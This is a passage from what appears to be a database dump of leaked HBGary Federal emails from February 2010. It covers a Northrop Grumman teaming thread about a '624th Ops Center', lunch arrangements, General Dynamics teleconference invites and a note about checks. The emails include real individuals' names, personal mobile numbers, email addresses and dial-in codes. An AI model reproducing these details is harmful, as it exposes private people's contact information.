\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat&#8217;s close to you that you like?&nbsp; I can get downtown quickly.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:16 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am downtown now just tell me wher\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:14 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanna\r\ndo lunch?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure\r\nstill up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp;\r\nWhat time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be\r\nbeneficial to both companies to for us to talk.&nbsp; Please let me know if\r\nyou&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.&nbsp; I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon.\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14166,'aaron_hbgary_com/14166.html'),(1854,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000626.M756469P3547Q1854.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','I got a hippie place for ya.\r\n\r\nCalled shugas\r\n\r\nOn cascade south of cimmeron.  That or santera grill\r\n\r\n From my iPhone\r\n\r\nOn Feb 1, 2010, at 12:16 PM, \"Hale, Jim (AS)\"  wrote:\r\n\r\n> Where are you located?  Can do somewhere close to you.\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, February 01, 2010 12:15 PM\r\n> To: Hale, Jim (AS)\r\n> Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n> Sounds good\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> On Feb 1, 2010, at 12:14 PM, \"Hale, Jim (AS)\" \r\n> wrote:\r\n>\r\n>    Wanna do lunch?\r\n>\r\n>\r\n>\r\n>    From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>    Sent: Monday, February 01, 2010 12:13 PM\r\n>    To: Hale, Jim (AS)\r\n>    Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>    Sure still up north?\r\n>\r\n>    From my iPhone\r\n>\r\n>\r\n>    On Feb 1, 2010, at 12:11 PM, \"Hale, Jim (AS)\" \r\n> wrote:\r\n>\r\n>        How about 1300L?\r\n>\r\n>\r\n>\r\n>        From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>        Sent: Monday, February 01, 2010 12:10 PM\r\n>        To: Hale, Jim (AS)\r\n>        Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>        All afternoon\r\n>\r\n>        From my iPhone\r\n>\r\n>\r\n>        On Feb 1, 2010, at 12:09 PM, \"Hale, Jim (AS)\"\r\n>  wrote:\r\n>\r\n>            OK.  What time are you available today?\r\n>\r\n>\r\n>\r\n>            From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>            Sent: Monday, February 01, 2010 12:08 PM\r\n>            To: Hale, Jim (AS)\r\n>            Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>            Ok just let me know.\r\n>\r\n>            From my iPhone\r\n>\r\n>\r\n>            On Feb 1, 2010, at 11:23 AM, \"Hale, Jim (AS)\"\r\n>  wrote:\r\n>\r\n>                Maybe late this PM or early Wed AM.\r\n> Tues we have our Bethpage \"owners\" coming out for interrogations and\r\n> beatings.  Does that work for you?\r\n>\r\n>\r\n>\r\n>                Torch\r\n>\r\n>\r\n>\r\n>                From: Aaron Barr\r\n> [mailto:aaron@hbgary.com]\r\n>                Sent: Monday, February 01, 2010 8:32 AM\r\n>                To: Hale, Jim (AS)\r\n>                Subject: Re: 624th Ops Center--Next\r\n> Steps\r\n>\r\n>\r\n>\r\n>                Hey Good to hear from you (virtual\r\n> secret handshake extended).\r\n>\r\n>\r\n>\r\n>                Sounds good.  I am in the springs\r\n> through wednesday.  Get in the afternoon.  We have meetings with\r\n> Lawrence hill and comany tomorrow afternoon.\r\n>\r\n>\r\n>\r\n>                Aaron\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                From my iPhone\r\n>\r\n>\r\n>                On Feb 1, 2010, at 9:16 AM, \"Hale, Jim\r\n> (AS)\"  wrote:\r\n>\r\n>                \r\n>\r\n>                Aaron,\r\n>\r\n>\r\n>\r\n>                Greetings from the Secret Squirrel\r\n> Society.  I\'d like to have an informal discussion with you some time\r\n> on\r\n> what you\'re doing now.  I suspect that it would be beneficial to both\r\n> companies to for us to talk.  Please let me know if you\'re interested.\r\n> Thanks.\r\n>\r\n>\r\n>\r\n>                Torch\r\n>\r\n>\r\n>\r\n>                From: Shows, Bob (IS)\r\n>                Sent: Friday, January 29, 2010 3:47 PM\r\n>                To: Aaron Barr; Hale, Jim (AS)\r\n>                Subject: 624th Ops Center--Next Steps\r\n>                Importance: High\r\n>\r\n>\r\n>\r\n>                Aaron,\r\n>\r\n>\r\n>\r\n>                I spoke at length with Vickie Michaels\r\n> of CyberSpace Operations Consulting, LLC.  Fundamentally her company\r\n> is\r\n> interested, but wants NGC to pay her company upfront to consultant in\r\n> bringing this business case together.  I conveyed that was not going\r\n> to\r\n> work, but if she could get her boss to sign the NDA, I would work with\r\n> her to see how they might fit.\r\n>\r\n>\r\n>\r\n>                Of note, she wasn\'t interested in\r\n> investing 2-4 hours of her own time just tighten the shot pattern on\r\n> this effort.  We left it with her going to see her boss and present\r\n> the\r\n> case (for which she did not seem overly enthusiastic)-we\'ll see.\r\n>\r\n>\r\n>\r\n>                As I mentioned, CSOC would be nice to\r\n> have on this team, but not essential.  We have Tom Hobbins, Bob\r\n> Hinson,\r\n> Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist\r\n> with senior customer interface.\r\n>\r\n>\r\n>\r\n>                Until we hear from Vickie, not sure we\r\n> should plan to rendezvous in San Antonio-I\'ll stay on top of this and\r\n> keep you in-the-loop.\r\n>\r\n>\r\n>\r\n>                Also, Jim Hale has some things in the\r\n> work that he believes will be of interest to you.  He\'ll be in touch\r\n> soon.\r\n>\r\n>\r\n>\r\n>                Jim \'Torch\' Hale\r\n>\r\n>                (719) 238-0763 (mobile)\r\n>\r\n>\r\n>\r\n>                Aaron Barr\r\n>\r\n>                (719) 510-8478 (mobile)\r\n>\r\n>                (301) 652-8885 x117\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                Best regards,\r\n>\r\n>\r\n>\r\n>                Robert \'Bob\' Shows\r\n>                USAF Account Team NGIS/DSD\r\n>                Northrop Grumman Corporation\r\n>                310.210.2549\r\n>\r\n',16529,'aaron_hbgary_com/16529.html'),(1855,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000626.M935543P3547Q1855.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','I like hippie.  I\'ll see ya down there.  If you need phone it\'s\r\n719-238-0763.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:19 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\nI got a hippie place for ya.\r\n\r\nCalled shugas\r\n\r\nOn cascade south of cimmeron.  That or santera grill\r\n\r\n From my iPhone\r\n\r\nOn Feb 1, 2010, at 12:16 PM, \"Hale, Jim (AS)\"  wrote:\r\n\r\n> Where are you located?  Can do somewhere close to you.\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, February 01, 2010 12:15 PM\r\n> To: Hale, Jim (AS)\r\n> Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n> Sounds good\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> On Feb 1, 2010, at 12:14 PM, \"Hale, Jim (AS)\" \r\n> wrote:\r\n>\r\n>    Wanna do lunch?\r\n>\r\n>\r\n>\r\n>    From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>    Sent: Monday, February 01, 2010 12:13 PM\r\n>    To: Hale, Jim (AS)\r\n>    Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>    Sure still up north?\r\n>\r\n>    From my iPhone\r\n>\r\n>\r\n>    On Feb 1, 2010, at 12:11 PM, \"Hale, Jim (AS)\" \r\n> wrote:\r\n>\r\n>        How about 1300L?\r\n>\r\n>\r\n>\r\n>        From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>        Sent: Monday, February 01, 2010 12:10 PM\r\n>        To: Hale, Jim (AS)\r\n>        Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>        All afternoon\r\n>\r\n>        From my iPhone\r\n>\r\n>\r\n>        On Feb 1, 2010, at 12:09 PM, \"Hale, Jim (AS)\"\r\n>  wrote:\r\n>\r\n>            OK.  What time are you available today?\r\n>\r\n>\r\n>\r\n>            From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>            Sent: Monday, February 01, 2010 12:08 PM\r\n>            To: Hale, Jim (AS)\r\n>            Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n>\r\n>\r\n>            Ok just let me know.\r\n>\r\n>            From my iPhone\r\n>\r\n>\r\n>            On Feb 1, 2010, at 11:23 AM, \"Hale, Jim (AS)\"\r\n>  wrote:\r\n>\r\n>                Maybe late this PM or early Wed AM.\r\n> Tues we have our Bethpage \"owners\" coming out for interrogations and\r\n> beatings.  Does that work for you?\r\n>\r\n>\r\n>\r\n>                Torch\r\n>\r\n>\r\n>\r\n>                From: Aaron Barr\r\n> [mailto:aaron@hbgary.com]\r\n>                Sent: Monday, February 01, 2010 8:32 AM\r\n>                To: Hale, Jim (AS)\r\n>                Subject: Re: 624th Ops Center--Next\r\n> Steps\r\n>\r\n>\r\n>\r\n>                Hey Good to hear from you (virtual\r\n> secret handshake extended).\r\n>\r\n>\r\n>\r\n>                Sounds good.  I am in the springs\r\n> through wednesday.  Get in the afternoon.  We have meetings with\r\n> Lawrence hill and comany tomorrow afternoon.\r\n>\r\n>\r\n>\r\n>                Aaron\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                From my iPhone\r\n>\r\n>\r\n>                On Feb 1, 2010, at 9:16 AM, \"Hale, Jim\r\n> (AS)\"  wrote:\r\n>\r\n>                \r\n>\r\n>                Aaron,\r\n>\r\n>\r\n>\r\n>                Greetings from the Secret Squirrel\r\n> Society.  I\'d like to have an informal discussion with you some time\r\n> on\r\n> what you\'re doing now.  I suspect that it would be beneficial to both\r\n> companies to for us to talk.  Please let me know if you\'re interested.\r\n> Thanks.\r\n>\r\n>\r\n>\r\n>                Torch\r\n>\r\n>\r\n>\r\n>                From: Shows, Bob (IS)\r\n>                Sent: Friday, January 29, 2010 3:47 PM\r\n>                To: Aaron Barr; Hale, Jim (AS)\r\n>                Subject: 624th Ops Center--Next Steps\r\n>                Importance: High\r\n>\r\n>\r\n>\r\n>                Aaron,\r\n>\r\n>\r\n>\r\n>                I spoke at length with Vickie Michaels\r\n> of CyberSpace Operations Consulting, LLC.  Fundamentally her company\r\n> is\r\n> interested, but wants NGC to pay her company upfront to consultant in\r\n> bringing this business case together.  I conveyed that was not going\r\n> to\r\n> work, but if she could get her boss to sign the NDA, I would work with\r\n> her to see how they might fit.\r\n>\r\n>\r\n>\r\n>                Of note, she wasn\'t interested in\r\n> investing 2-4 hours of her own time just tighten the shot pattern on\r\n> this effort.  We left it with her going to see her boss and present\r\n> the\r\n> case (for which she did not seem overly enthusiastic)-we\'ll see.\r\n>\r\n>\r\n>\r\n>                As I mentioned, CSOC would be nice to\r\n> have on this team, but not essential.  We have Tom Hobbins, Bob\r\n> Hinson,\r\n> Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist\r\n> with senior customer interface.\r\n>\r\n>\r\n>\r\n>                Until we hear from Vickie, not sure we\r\n> should plan to rendezvous in San Antonio-I\'ll stay on top of this and\r\n> keep you in-the-loop.\r\n>\r\n>\r\n>\r\n>                Also, Jim Hale has some things in the\r\n> work that he believes will be of interest to you.  He\'ll be in touch\r\n> soon.\r\n>\r\n>\r\n>\r\n>                Jim \'Torch\' Hale\r\n>\r\n>                (719) 238-0763 (mobile)\r\n>\r\n>\r\n>\r\n>                Aaron Barr\r\n>\r\n>                (719) 510-8478 (mobile)\r\n>\r\n>                (301) 652-8885 x117\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                Best regards,\r\n>\r\n>\r\n>\r\n>                Robert \'Bob\' Shows\r\n>                USAF Account Team NGIS/DSD\r\n>                Northrop Grumman Corporation\r\n>                310.210.2549\r\n>\r\n',1371,'aaron_hbgary_com/1371.html'),(1856,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000627.M149517P3547Q1856.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','K it\'s a house looking place on the right.\r\n\r\n From my iPhone\r\n\r\nOn Feb 1, 2010, at 12:20 PM, \"Hale, Jim (AS)\"  wrote:\r\n\r\n> I like hippie.  I\'ll see ya down there.  If you need phone it\'s\r\n> 719-238-0763.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, February 01, 2010 12:19 PM\r\n> To: Hale, Jim (AS)\r\n> Subject: Re: 624th Ops Center--Next Steps\r\n>\r\n> I got a hippie place for ya.\r\n>\r\n> Called shugas\r\n>\r\n> On cascade south of cimmeron.  That or santera grill\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 1, 2010, at 12:16 PM, \"Hale, Jim (AS)\" \r\n> wrote:\r\n>\r\n>> Where are you located?  Can do somewhere close to you.\r\n>>\r\n>>\r\n>>\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, February 01, 2010 12:15 PM\r\n>> To: Hale, Jim (AS)\r\n>> Subject: Re: 624th Ops Center--Next Steps\r\n>>\r\n>>\r\n>>\r\n>> Sounds good\r\n>>\r\n>> From my iPhone\r\n>>\r\n>>\r\n>> On Feb 1, 2010, at 12:14 PM, \"Hale, Jim (AS)\" \r\n>> wrote:\r\n>>\r\n>>   Wanna do lunch?\r\n>>\r\n>>\r\n>>\r\n>>   From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>   Sent: Monday, February 01, 2010 12:13 PM\r\n>>   To: Hale, Jim (AS)\r\n>>   Subject: Re: 624th Ops Center--Next Steps\r\n>>\r\n>>\r\n>>\r\n>>   Sure still up north?\r\n>>\r\n>>   From my iPhone\r\n>>\r\n>>\r\n>>   On Feb 1, 2010, at 12:11 PM, \"Hale, Jim (AS)\" \r\n>> wrote:\r\n>>\r\n>>       How about 1300L?\r\n>>\r\n>>\r\n>>\r\n>>       From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>       Sent: Monday, February 01, 2010 12:10 PM\r\n>>       To: Hale, Jim (AS)\r\n>>       Subject: Re: 624th Ops Center--Next Steps\r\n>>\r\n>>\r\n>>\r\n>>       All afternoon\r\n>>\r\n>>       From my iPhone\r\n>>\r\n>>\r\n>>       On Feb 1, 2010, at 12:09 PM, \"Hale, Jim (AS)\"\r\n>>  wrote:\r\n>>\r\n>>           OK.  What time are you available today?\r\n>>\r\n>>\r\n>>\r\n>>           From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>           Sent: Monday, February 01, 2010 12:08 PM\r\n>>           To: Hale, Jim (AS)\r\n>>           Subject: Re: 624th Ops Center--Next Steps\r\n>>\r\n>>\r\n>>\r\n>>           Ok just let me know.\r\n>>\r\n>>           From my iPhone\r\n>>\r\n>>\r\n>>           On Feb 1, 2010, at 11:23 AM, \"Hale, Jim (AS)\"\r\n>>  wrote:\r\n>>\r\n>>               Maybe late this PM or early Wed AM.\r\n>> Tues we have our Bethpage \"owners\" coming out for interrogations and\r\n>> beatings.  Does that work for you?\r\n>>\r\n>>\r\n>>\r\n>>               Torch\r\n>>\r\n>>\r\n>>\r\n>>               From: Aaron Barr\r\n>> [mailto:aaron@hbgary.com]\r\n>>               Sent: Monday, February 01, 2010 8:32 AM\r\n>>               To: Hale, Jim (AS)\r\n>>               Subject: Re: 624th Ops Center--Next\r\n>> Steps\r\n>>\r\n>>\r\n>>\r\n>>               Hey Good to hear from you (virtual\r\n>> secret handshake extended).\r\n>>\r\n>>\r\n>>\r\n>>               Sounds good.  I am in the springs\r\n>> through wednesday.  Get in the afternoon.  We have meetings with\r\n>> Lawrence hill and comany tomorrow afternoon.\r\n>>\r\n>>\r\n>>\r\n>>               Aaron\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>               From my iPhone\r\n>>\r\n>>\r\n>>               On Feb 1, 2010, at 9:16 AM, \"Hale, Jim\r\n>> (AS)\"  wrote:\r\n>>\r\n>>               \r\n>>\r\n>>               Aaron,\r\n>>\r\n>>\r\n>>\r\n>>               Greetings from the Secret Squirrel\r\n>> Society.  I\'d like to have an informal discussion with you some time\r\n>> on\r\n>> what you\'re doing now.  I suspect that it would be beneficial to both\r\n>> companies to for us to talk.  Please let me know if you\'re\r\n>> interested.\r\n>> Thanks.\r\n>>\r\n>>\r\n>>\r\n>>               Torch\r\n>>\r\n>>\r\n>>\r\n>>               From: Shows, Bob (IS)\r\n>>               Sent: Friday, January 29, 2010 3:47 PM\r\n>>               To: Aaron Barr; Hale, Jim (AS)\r\n>>               Subject: 624th Ops Center--Next Steps\r\n>>               Importance: High\r\n>>\r\n>>\r\n>>\r\n>>               Aaron,\r\n>>\r\n>>\r\n>>\r\n>>               I spoke at length with Vickie Michaels\r\n>> of CyberSpace Operations Consulting, LLC.  Fundamentally her company\r\n>> is\r\n>> interested, but wants NGC to pay her company upfront to consultant in\r\n>> bringing this business case together.  I conveyed that was not going\r\n>> to\r\n>> work, but if she could get her boss to sign the NDA, I would work\r\n>> with\r\n>> her to see how they might fit.\r\n>>\r\n>>\r\n>>\r\n>>               Of note, she wasn\'t interested in\r\n>> investing 2-4 hours of her own time just tighten the shot pattern on\r\n>> this effort.  We left it with her going to see her boss and present\r\n>> the\r\n>> case (for which she did not seem overly enthusiastic)-we\'ll see.\r\n>>\r\n>>\r\n>>\r\n>>               As I mentioned, CSOC would be nice to\r\n>> have on this team, but not essential.  We have Tom Hobbins, Bob\r\n>> Hinson,\r\n>> Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist\r\n>> with senior customer interface.\r\n>>\r\n>>\r\n>>\r\n>>               Until we hear from Vickie, not sure we\r\n>> should plan to rendezvous in San Antonio-I\'ll stay on top of this and\r\n>> keep you in-the-loop.\r\n>>\r\n>>\r\n>>\r\n>>               Also, Jim Hale has some things in the\r\n>> work that he believes will be of interest to you.  He\'ll be in touch\r\n>> soon.\r\n>>\r\n>>\r\n>>\r\n>>               Jim \'Torch\' Hale\r\n>>\r\n>>               (719) 238-0763 (mobile)\r\n>>\r\n>>\r\n>>\r\n>>               Aaron Barr\r\n>>\r\n>>               (719) 510-8478 (mobile)\r\n>>\r\n>>               (301) 652-8885 x117\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>               Best regards,\r\n>>\r\n>>\r\n>>\r\n>>               Robert \'Bob\' Shows\r\n>>               USAF Account Team NGIS/DSD\r\n>>               Northrop Grumman Corporation\r\n>>               310.210.2549\r\n>>\r\n',13645,'aaron_hbgary_com/13645.html'),(1857,'2010-02-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000634.M153004P3547Q1857.eml','\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>,phil@hbgary.com','concept one-page glossy describing total capability for attribution','This is a concept work I made this morning.  We can have our graphic designer do a proper job on it, but I want something that can accurately describe the offering when you go to DARPA.\r\n \r\n-Greg\r\n \r\nps. I am going over this with Aaron at 2PM PST.  Feel free to join webex if you want to contribute.\r\n \r\n \r\n',16488,'aaron_hbgary_com/16488.html'),(1858,'2010-02-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000634.M800947P3547Q1858.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com,greg@hbgary.com,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity','\r\n\r\n\r\n\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 05, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\nWebEx connection information will be sent before the meeting\r\n\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\n571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\n\r\n',13382,'aaron_hbgary_com/13382.html'),(1859,'2010-02-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000635.M282917P3547Q1860.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com,greg@hbgary.com,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity','\r\n\r\n\r\n\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 05, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUPDATE: time moved back to Friday 11:00 AM Eastern = 8:00 AM Pacific\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\nWebEx connection information will be sent before the meeting\r\n\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\n571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\n\r\n',4977,'aaron_hbgary_com/4977.html'),(1860,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000635.M3196P3547Q1859.eml','\"Ted Vera\" <ted@hbgary.com>','checks','Checks:  5942.07\r\n\r\nI can only deposit up to $5,000.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',160,'aaron_hbgary_com/160.html'),(1861,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000642.M764877P3547Q1861.eml','\"Greg Hoglund\" <greg@hbgary.com>','report format thoughts','\r\n',2647,'aaron_hbgary_com/2647.html'),(1862,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000643.M121953P3547Q1862.eml','\"Brian Girardi\" 